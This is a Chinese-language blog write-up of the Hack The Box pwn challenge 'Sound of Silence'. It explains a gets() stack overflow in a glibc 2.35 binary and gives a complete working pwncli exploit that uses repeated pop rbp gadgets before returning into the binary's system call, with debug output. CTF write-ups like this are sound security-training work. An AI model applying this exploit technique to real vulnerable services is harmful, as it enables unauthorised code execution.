selph
selph
Published on 2024-11-03 / 34 Visits
1
0

每日一练10:[HTB]Sound of Silence

前言

该题目的主题是高版本栈溢出的一个小细节

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第10天,有读者在看吗,来点回复(挠头

题目情况

Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!

    Arch:     amd64-64-little                                                                                                             
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'

无PIE,无Canary,libc - 2.35编译的程序

逆向分析

程序很简单,就这么几行:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  system("clear && echo -n '~The Sound of Silence is mesmerising~\n\n>> '");
  return gets(v4, argv);
}

利用分析

程序提供了栈溢出,提供了system函数,甚至还没有PIE保护,但这与之前见过的同类程序都不一样

因为这是2.35下编译的,编译出来几乎没有可利用的gadgets,只有leave ret可用,没有pop ret了几乎:

pwndbg> rop
Gadgets information
============================================================
0x00000000004010c8 : adc byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401139 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401137 : add eax, 0x2ed3 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401181 : call qword ptr [rax + 0xc3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401153 : cli ; jmp 0x4010e0
0x00000000004010a3 : cli ; ret
0x000000000040118b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401150 : endbr64 ; jmp 0x4010e0
0x00000000004010a0 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404010 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404010 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401154 : jmp 0x4010e0
0x000000000040100b : jmp 0x4840103f
0x00000000004010cc : jmp rax
0x0000000000401183 : leave ; ret
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401136 : mov byte ptr [rip + 0x2ed3], 1 ; pop rbp ; ret
0x00000000004010c7 : mov edi, 0x404010 ; jmp rax
0x0000000000401182 : nop ; leave ; ret
0x00000000004010cf : nop ; ret
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x404010], edi ; jmp rax
0x000000000040113d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401138 : shr dword ptr [rsi], cl ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040118d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040118c : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404010 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404010 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax

Unique gadgets found: 48

这种时候就要观察寄存器的使用,程序的反汇编:

.text:0000000000401156 main            proc near               ; DATA XREF: _start+18↑o
.text:0000000000401156
.text:0000000000401156 var_20          = byte ptr -20h
.text:0000000000401156
.text:0000000000401156 ; __unwind {
.text:0000000000401156                 endbr64
.text:000000000040115A                 push    rbp
.text:000000000040115B                 mov     rbp, rsp
.text:000000000040115E                 sub     rsp, 20h
.text:0000000000401162                 lea     rax, command    ; "clear && echo -n '~The Sound of Silence"...
.text:0000000000401169                 mov     rdi, rax        ; command
.text:000000000040116C                 call    _system
.text:0000000000401171                 lea     rax, [rbp+var_20]
.text:0000000000401175                 mov     rdi, rax
.text:0000000000401178                 mov     eax, 0
.text:000000000040117D                 call    _gets
.text:0000000000401182                 nop
.text:0000000000401183                 leave
.text:0000000000401184                 retn
.text:0000000000401184 ; } // starts at 401156
.text:0000000000401184 main            endp

程序执行到ret的时候的寄存器:

──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 RAX  0x7ffcccedc2d0 ◂— 0x6161616261616161 ('aaaabaaa')
 RBX  0x0
 RCX  0x7fc6be39baa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
 RDX  0x1
 RDI  0x7fc6be39da80 ◂— 0x0
 RSI  0x1
 R8   0x0
 R9   0x0
 R10  0x77
 R11  0x246
 R12  0x7ffcccedc408 —▸ 0x7ffccceddf19 ◂— '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
 R13  0x401156 (main) ◂— endbr64
 R14  0x403dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7fc6be3e6040 (_rtld_global) —▸ 0x7fc6be3e72e0 ◂— 0x0
*RBP  0x6161616a61616169 ('iaaajaaa')
*RSP  0x7ffcccedc2f8 ◂— 0xdeadbeef
*RIP  0x401184 (main+46) ◂— ret
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
   0x401183 <main+45>    leave
 ► 0x401184 <main+46>    ret    <0xdeadbeef>

此时的rax是我们输入的字符串,地址是栈地址,而调用system函数前刚好有个:

.text:0000000000401169                 mov     rdi, rax        ; command
.text:000000000040116C                 call    _system

那顺理成章的这么写exp:

payload =  b"cat flag.txt".ljust(0x28,b"\x00") +  pack(0x0000000000401169)
sla(b">> ",payload)
ia()

但是这是行不通的,程序根本跑不起来:

challenge ➤ ./exp_cli.py debug sound_of_silence
[*] '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'
[+] Starting local process '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence': pid 20285
[DEBUG] Received 0x35 bytes:
    00000000  1b 5b 48 1b  5b 32 4a 1b  5b 33 4a 7e  54 68 65 20  │·[H·│[2J·│[3J~│The │
    00000010  53 6f 75 6e  64 20 6f 66  20 53 69 6c  65 6e 63 65  │Soun│d of│ Sil│ence│
    00000020  20 69 73 20  6d 65 73 6d  65 72 69 73  69 6e 67 7e  │ is │mesm│eris│ing~│
    00000030  0a 0a 3e 3e  20                                     │··>>│ │
    00000035
[DEBUG] Sent 0x31 bytes:
    00000000  63 61 74 20  66 6c 61 67  2e 74 78 74  00 00 00 00  │cat │flag│.txt│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000020  00 00 00 00  00 00 00 00  69 11 40 00  00 00 00 00  │····│····│i·@·│····│
    00000030  0a                                                  │·│
    00000031
[*] Switching to interactive mode
$ w
[DEBUG] Sent 0x2 bytes:
    b'w\n'
[*] Got EOF while reading in interactive
$
[DEBUG] Sent 0x1 bytes:
    b'\n'
[*] Process '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence' stopped with exit code -11 (SIGSEGV) (pid 20285)
[*] Got EOF while sending in interactive

困境

原因很简单,因为调用system时候,此时的栈状态:

pwndbg> telescope  $rax 20
00:0000│ rax rdi 0x7ffee2f6f970 ◂— 'cat flag.txt'
01:0008│         0x7ffee2f6f978 ◂— 0x7478742e /* '.txt' */
02:0010│         0x7ffee2f6f980 ◂— 0x0
03:0018│         0x7ffee2f6f988 ◂— 0x0
04:0020│         0x7ffee2f6f990 ◂— 0x0
05:0028│         0x7ffee2f6f998 —▸ 0x401169 (main+19) ◂— mov rdi, rax
06:0030│ rsp     0x7ffee2f6f9a0 ◂— 0x0
07:0038│         0x7ffee2f6f9a8 —▸ 0x401156 (main) ◂— endbr64
08:0040│         0x7ffee2f6f9b0 ◂— 0x1e2f6fa90
09:0048│         0x7ffee2f6f9b8 —▸ 0x7ffee2f6faa8 —▸ 0x7ffee2f70f19 ◂— '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
0a:0050│         0x7ffee2f6f9c0 ◂— 0x0
0b:0058│         0x7ffee2f6f9c8 ◂— 0x9e53af226f9d91b4
0c:0060│         0x7ffee2f6f9d0 —▸ 0x7ffee2f6faa8 —▸ 0x7ffee2f70f19 ◂— '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
0d:0068│         0x7ffee2f6f9d8 —▸ 0x401156 (main) ◂— endbr64
0e:0070│         0x7ffee2f6f9e0 —▸ 0x403dc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
0f:0078│         0x7ffee2f6f9e8 —▸ 0x7f3ce7c9c040 (_rtld_global) —▸ 0x7f3ce7c9d2e0 ◂— 0x0
10:0080│         0x7ffee2f6f9f0 ◂— 0x61ae6acf9cdf91b4
11:0088│         0x7ffee2f6f9f8 ◂— 0x602a606e551791b4
12:0090│         0x7ffee2f6fa00 ◂— 0x7f3c00000000
13:0098│         0x7ffee2f6fa08 ◂— 0x0

我们写入的字符串位于rsp上面,这意味着这是未初始化的内存,在进入函数调用的时候很可能被覆盖掉

突破

那么就需要想办法让这个输入字符串的地址在system种不被覆盖

栈迁移可以吗?不行,因为栈迁移需要再次调用gets,且用新的rbp索引地址,导致结果是,rax也跟着变了,rax依然在rsp上面

这里给出一个好用的笨办法,那就让rax所在栈位置距离rsp远一点,作为使用的栈内存,使其在system调用期间不被用到!

用这个gadgets:

0x000000000040113d : pop rbp ; ret

大量增加rsp来扩张rsp和rax的距离

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

"""
0x0000000000401183 : leave ; ret
0x000000000040113d : pop rbp ; ret
"""

pop_rbp_ret = 0x000000000040113d
leave_ret = 0x0000000000401183

payload =  b"cat flag.txt".ljust(0x28,b"\x00") + pack(pop_rbp_ret)*0x100 + pack(0x0000000000401169)

sla(b">> ",payload)
ia()
challenge ➤ ./exp_cli.py debug sound_of_silence
[*] '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'
[+] Starting local process '/mnt/d/Misc/CTF/HTB/pwn/Sound of Silence/pwn_sound_of_silence/challenge/sound_of_silence': pid 31071
[DEBUG] Received 0x35 bytes:
    00000000  1b 5b 48 1b  5b 32 4a 1b  5b 33 4a 7e  54 68 65 20  │·[H·│[2J·│[3J~│The │
    00000010  53 6f 75 6e  64 20 6f 66  20 53 69 6c  65 6e 63 65  │Soun│d of│ Sil│ence│
    00000020  20 69 73 20  6d 65 73 6d  65 72 69 73  69 6e 67 7e  │ is │mesm│eris│ing~│
    00000030  0a 0a 3e 3e  20                                     │··>>│ │
    00000035
[DEBUG] Sent 0x831 bytes:
    00000000  63 61 74 20  66 6c 61 67  2e 74 78 74  00 00 00 00  │cat │flag│.txt│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000020  00 00 00 00  00 00 00 00  3d 11 40 00  00 00 00 00  │····│····│=·@·│····│
    00000030  3d 11 40 00  00 00 00 00  3d 11 40 00  00 00 00 00  │=·@·│····│=·@·│····│
    *
    00000820  3d 11 40 00  00 00 00 00  69 11 40 00  00 00 00 00  │=·@·│····│i·@·│····│
    00000830  0a                                                  │·│
    00000831
[*] Switching to interactive mode
[DEBUG] Received 0x19 bytes:
    b'HTB{f4k3_fl4g_4_t35t1ng}\n'
HTB{f4k3_fl4g_4_t35t1ng}

总结

栈溢出(2.35),收缩栈指针保护栈内存不被使用

参考资料


Comment